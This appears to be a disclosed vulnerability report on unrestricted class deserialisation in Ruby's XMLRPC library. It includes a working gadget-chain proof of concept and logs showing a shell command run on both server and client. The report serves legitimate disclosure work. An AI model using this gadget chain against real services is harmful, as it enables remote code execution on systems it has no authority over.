Ruby · Report #1189419
XMLRPC does not limit deserializable classes.
How it was found
I confirmed that the classes that can be generated by parsing the xml sent in the request or response by XMLRPC bundled in ruby are not restricted.
https://github.com/ruby/xmlrpc/blob/v0.3.2/lib/xmlrpc/create.rb#L251
if Config::ENABLE_MARSHALLING and param.class.included_modules.include? XMLRPC::Marshallable
# convert Ruby object into Hash
ret = {"___class___" => param.class.name}
param.instance_variables.each {|v|
When converting parameters to XML, limited to those that include XMLRPC::Marshallable.
https://github.com/ruby/xmlrpc/blob/v0.3.2/lib/xmlrpc/parser.rb#L104
# Converts the given +hash+ to a marshalled object.
#
# Returns the given +hash+ if an exception occurs.
def self.struct(hash)
# convert to marshalled object
klass = hash["___class___"]
if klass.nil? or Config::ENABLE_MARSHALLING == false
hash
else
begin
mod = Module
klass.split("::").each {|const| mod = mod.const_get(const.strip)}
obj = mod.allocate
hash.delete "___class___"
hash.each {|key, value|
obj.instance_variable_set("@#{ key }", value) if key =~ /^([a-zA-Z_]\w*)$/
}
obj
rescue
hash
end
end
end
However, there are no class restrictions when parsing.
https://github.com/ruby/xmlrpc/blob/v0.3.2/lib/xmlrpc/config.rb#L27
# enable marshalling Ruby objects which include XMLRPC::Marshallable
ENABLE_MARSHALLING = true
Config::ENABLE_MARSHALLING is true by default so there is no limit to the classes that can be restored.
PoC
Prepare
create build_xml.rb
require "xmlrpc/marshal"
# Universal Deserialisation Gadget for Ruby 2.x-3.x
# https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# Because the classes that can be dumped are limited
class Array
def include?(_)
true
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "date")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
creater = XMLRPC::Create.new
call_xml = creater.methodCall("for_call", r)
File.write('attack_call.xml', call_xml)
response_xml = creater.methodResponse("for_response", r)
File.write('attack_response.xml', response_xml)
$ cat Gemfile
# frozen_string_literal: true
source "https://rubygems.org"
gem 'xmlrpc', '~> 0.3.2'
gem 'webrick', '~> 1.7'
gem 'rack', '~> 2.2', '>= 2.2.3'
$ bundle install
...
$ bundle exec ruby build_xml.rb
# create attack_call.xml and attack_response.xml
PoC for server attack
# craft_client.rb
require "xmlrpc/client"
server = XMLRPC::Client.new("localhost", "/RPC2", 8080)
craft = File.read("./attack_call.xml")
ok, param = server.send(:do_rpc, craft)
if ok then
puts "param: #{param}"
else
puts "Error:"
puts param.faultCode
puts param.faultString
end
# xmlrpc_server.rb
require "webrick"
require "xmlrpc/server"
# required classes
require 'net/http'
Gem::Installer
s = XMLRPC::WEBrickServlet.new
s.add_handler("for_call") do |param|
param.to_s
end
httpserver = WEBrick::HTTPServer.new(:Port => 8080)
httpserver.mount("/RPC2", s)
trap(:INT){httpserver.shutdown}
httpserver.start
❯ bundle exec ruby craft_client.rb
param:
❯ bundle exec ruby xmlrpc_server.rb
[2021-05-09 20:49:35] INFO WEBrick 1.7.0
[2021-05-09 20:49:35] INFO ruby 2.7.1 (2020-03-31) [x86_64-darwin19]
[2021-05-09 20:49:35] INFO WEBrick::HTTPServer#start: pid=48443 port=8080
sh: reading: command not found
2021年 5月 9日 日曜日 20時49分44秒 JST
::1 - - [09/May/2021:20:49:44 JST] "POST /RPC2 HTTP/1.1" 200 319
- -> /RPC2
PoC for client attack
# xmlrpc_client.rb
require "xmlrpc/client"
# required classes
Gem::Installer
server = XMLRPC::Client.new("localhost", "/RPC", 8080)
ok, param = server.call2("xxx", 4, 5)
if ok then
puts "param: #{param}" # call param.to_s
else
puts "Error:"
puts param.faultCode
puts param.faultString
end
# craft_server.rb
require "webrick"
httpserver = WEBrick::HTTPServer.new(:Port => 8080)
httpserver.mount_proc('/RPC') do |req, res|
res.body = File.read("./attack_response.xml")
end
trap(:INT){httpserver.shutdown}
httpserver.start
❯ bundle exec ruby xmlrpc_client.rb
sh: reading: command not found
2021年 5月 9日 日曜日 20時50分48秒 JST
Traceback (most recent call last):
...
❯ bundle exec ruby craft_server.rb
[2021-05-09 20:50:34] INFO WEBrick 1.7.0
[2021-05-09 20:50:34] INFO ruby 2.7.1 (2020-03-31) [x86_64-darwin19]
[2021-05-09 20:50:34] INFO WEBrick::HTTPServer#start: pid=48570 port=8080
::1 - - [09/May/2021:20:50:48 JST] "POST /RPC HTTP/1.1" 200 1679
- -> /RPC
Impact
Unintentional classes are created by crafted XML on both the server and client.
Whether RCE is possible depends on the implementation of the application.
In order for the gadget chain for Marshal.load to work, need to find that the class is loaded and where methods such as to_s are called.